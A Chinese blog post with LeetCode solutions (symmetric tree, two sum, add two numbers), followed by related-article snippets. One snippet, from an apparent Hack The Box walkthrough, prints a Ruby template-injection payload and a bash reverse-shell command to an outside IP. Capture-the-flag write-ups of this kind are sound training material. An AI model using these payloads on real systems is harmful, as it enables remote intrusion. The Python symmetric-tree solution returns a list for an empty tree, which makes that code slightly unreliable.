力扣打卡第一天

101. 对称二叉树

在这里插入图片描述

C++:

class Solution {
public:
    bool isSymmetric(TreeNode* root) {
        return check(root->left,root->right);

    }
    bool check(TreeNode *p,TreeNode *q){  /**定义check方法用来检查两棵树是否是镜像的*/
        if (!p && !q) return true;   /* 如果p和q都是空的话,就直接返回true */
        if (!p || !q || p->val != q->val) return false;  /*如果p或q有一个为空或者p和q的值不相等*/
        return check(p->left,q->right) && check(p->right,q->left);  /* 检查p的左子树和q的右子树是否相等,检查p的右子树是否和q的左子树相等 */

    }
};

python:

class Solution(object):
    def isSymmetric(self, root):
        """
        :type root: TreeNode
        :rtype: bool
        """
        if not root:
            return []
        def dfs(left,right):
            if not left and not right:
                return True
            if not left or not right:
                return False
            if left.val != right.val:
                return False
            return dfs(left.left, right.right) and dfs(left.right, right.left)
        return dfs(root.left,root.right)

1.两数之和

在这里插入图片描述

class Solution(object):
    def twoSum(self, nums, target):
        """
        :type nums: List[int]
        :type target: int
        :rtype: List[int]
        """
        cache ={}  #用容器cache缓存需要寻找的值
        for idx,num in enumerate(nums):  #enumerate会返回当前的值和下标
            cur = target-num
            if num in cache:
                return [cache[num],idx]
            cache[cur] = idx
        return None

2.两数相加

在这里插入图片描述
题目解释:在给出的示例中,2 -> 4 -> 3代表342,5 -> 6 -> 4代表的是465.
2+5=7,4+6=10(有进位,因此第二位为0),得到7 -> 0,然后3+4=7,因为前一位有进位,所以7+1=8,得到7 -> 0 -> 8

class Solution(object):
    def addTwoNumbers(self, l1, l2):
        """
        :type l1: ListNode
        :type l2: ListNode
        :rtype: ListNode
        """
        v = 0   #v代表中间值,加法运算之后可能会超过10和不超过10的中间值
        head = l3 = ListNode(None)   ##设置一个空节点作为指针,方便在过程中进行节点的移动,一开始是空节点None
        while l1 or l2 or v:  ##判断链表l1、l2和中间值是否存在
            v = (l1.val if l1 else 0) + (l2.val if l2 else 0) + v ##判断l1的值是否存在,否则返回0(l2同理),+v代表把v的进位值加到下一轮的v里面
            l3.next = ListNode(v % 10)  #把v的余数赋值给下一个节点
            v = v // 10 #求v的十位是多少,进位数 

            ##加和的逻辑结束,进行指针的移动
            l3 = l3.next
            l1 = l1.next if l1 else None   #(因为l1和l2可能为空)
            l2 = l2.next if l2 else None
        
        return head.next #返回头节点的下一个,因为在头结点的下一个才开始赋值
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/558876.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于SSM的物流快递管理系统(含源码+sql+视频导入教程+文档+PPT)

👉文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 基于SSM的物流快递管理系统2拥有三个角色: 管理员:用户管理、管理员管理、新闻公告管理、留言管理、取件预约管理、收件管理、货物分类管理、发件信息管理等 用户…

如何安全、高速、有效地利用IP代理爬取数据

陈老老老板🧙‍♂️ 👮‍♂️本文专栏:生活(主要讲一下自己生活相关的内容)生活就像海洋,只有意志坚强的人,才能到达彼岸。 🤴本文简述:如何安全、高速、有效地利用IP代理爬取数据 &#x1f473…

【数据结构-串-数组-广义表】

目录 1 串-理解1.1 串的抽象定义:-理解1.2 串的存储结构-不断掌握1.2.1 顺序存储结构:1.2.2 链式存储结构: 1.3 串的模式匹配算法:-掌握1.3.1 BF暴力求解算法-代码 -掌握1.3.2 KMP求解算法-代码--掌握 2 数组-不断掌握2.1 顺序存储…

WWW ‘24 | EarnMore: 如何利用强化学习来处理可定制股票池中的投资组合管理问题

WWW 24 | EarnMore: 如何利用强化学习来处理可定制股票池中的投资组合管理问题 原创 QuantML QuantML 2024-04-16 09:04 上海 Content 本文主要探讨了如何利用强化学习(Reinforcement Learning, RL)来处理可定制股票池(Customizable Stock …

Golang | Leetcode Golang题解之第40题组合总和II

题目: 题解: func combinationSum2(candidates []int, target int) (ans [][]int) {sort.Ints(candidates)var freq [][2]intfor _, num : range candidates {if freq nil || num ! freq[len(freq)-1][0] {freq append(freq, [2]int{num, 1})} else {…

LabVIEW卡尔曼滤波技术

LabVIEW卡尔曼滤波技术 在现代航空导航中,高精度和快速响应的方位解算对于航空安全至关重要。通过LabVIEW平台实现一种卡尔曼滤波方位解算修正技术,以改善传统导航设备在方位解算中的噪声干扰问题,从而提高其解算精度和效率。通过LabVIEW的强…

Ubuntu上阅读Android源码工具

由于Android源码过于庞杂,里面有多种语言源文件,想只用一IDE统一索引是不现实的。我个人便使用AS阅读JAVA代码,VS看C/C代码,在Ubuntu上不能使用SI,所以直接放弃。在framework开发这个层面上来讲,因为大部分…

Ansible组件说明

1.Ansible Inventory 工作当中有不同的业务主机,我们需要在把这些机器信息存放在inventory里面,ansible默认的inventory的文件是/etc/ansible/hosts,也可以通过ANSIBLE_HOSTS环境变量来指定或者运行ansible和ansible-playbook的时候用-i参数临…

数据可视化(五):Pandas高级统计——函数映射、数据结构、分组聚合等问题解决,能否成为你的工作备用锦囊?

Tips:"分享是快乐的源泉💧,在我的博客里,不仅有知识的海洋🌊,还有满满的正能量加持💪,快来和我一起分享这份快乐吧😊! 喜欢我的博客的话,记得…

js中let和var的区别

在JavaScript中,var、let和const都用于声明变量,但它们之间存在一些重要的区别。特别是let和var之间的区别,我们可以概括为以下几点: 作用域(Scope):var有函数作用域或全局作用域,而…

B-树 B+树与数据库原理

B树 引入 概念和性质 插入分析 总结 B树 B*树(了解) 数据库原理 数据库与B树的关系

【MySQL 数据宝典】【磁盘结构】- 003 双写缓冲区

一、双写缓冲区 ( Doublewrite Buffer Files) 1.1 背景介绍 写失效 (部分页失效) InnoDB的页和操作系统的页大小不一致,InnoDB页大小一般为16K,操作系统页大小为4K,InnoDB的页写入到磁盘时,一个页需要分4次写。如果存储引擎正在…

算法训练营day15

一、层序遍历 参考链接7.2 二叉树遍历 - Hello 算法 (hello-algo.com) 层序遍历本质上属于广度优先遍历,也称广度优先搜索, BFS通常借助队列的先入先出的特性实现 参考链接102. 二叉树的层序遍历 - 力扣(LeetCode) 像这种较为…

社交媒体数据恢复:与你科技

在数字时代,数据是我们生活中的重要组成部分。无论是个人照片、文档,还是企业的重要资料,数据在我们的生活中扮演着举足轻重的角色。然而,数据丢失的问题时常发生,给我们带来了很多麻烦。幸运的是,当下众多…

搭建HBase2.x完全分布式集群(CentOS 9 + Hadoop3.x)

Apache HBase™是一个分布式、可扩展、大数据存储的Hadoop数据库。 当我们需要对大数据进行随机、实时的读/写访问时,可以使用HBase。这个项目的目标是在通用硬件集群上托管非常大的表——数十亿行X数百万列。Apache HBase是一个开源、分布式、版本化的非关系数据库…

[Meachines][Easy]Perfection

Main $ nmap -sV -sC 10.10.11.253 --min-rate 1000 使用Ruby开发的,尝试Ruby的SSTI注入 x%0a<%25%3Dsystem("ping-c110.10.16.23");%25> $ echo "/bim/bash -i >& /dev/tcp/10.10.16.23/10032 0>&1"|base64 category1x%0a<%25%3…

sqli-labs靶场学习(一)

一.知识点 1.数据库 数据库是一个用于存储和管理数据的仓库。数据按照特定的格式存储&#xff0c;可以对数据库中的数据进行增加、修改、删除和查询操作。数据库的本质是一个文件系统&#xff0c;按照一定的逻辑结构组织数据&#xff0c;以方便高效地访问和维护。 2.数据库管…

RCE漏洞及其绕过——[SWPUCTF 2021 新生赛]easyrce、caidao、babyrce

目录 什么是Shell 1、Shell简介 2、印刷约定 一、什么是RCE 漏洞产生条件&#xff1a; 漏洞检测&#xff1a; 1.远程命令执行 system()函数&#xff1a; passthru()函数&#xff1a; exec()函数&#xff1a; 无回显 shell_exec()函数&#xff1a; 2.远程代码执行 e…

我的创作纪念日(256)

一、缘起——Why I choose CSDN 在大二升到大三的暑假期间&#xff0c;为了督促自己学习智能机器人这一领域的知识&#xff0c;啃下这块硬骨头&#xff0c;我决定一边学习&#xff0c;一边在CSDN这个平台上分享一些学习心得。当时我跟着韩顺平老师学习Linux系统&#xff0c;跟…

IP地址定位:揭秘精准定位的技术与应用

在数字化时代&#xff0c;IP地址已成为连接互联网世界的关键标识之一。但是&#xff0c;很多人对于IP地址的精准定位能力存在疑虑。本文将深入探讨IP地址定位的技术原理以及其在实际应用中的精确度。 IP地址查询&#xff1a;IP数据云 - 免费IP地址查询 - 全球IP地址定位平台 …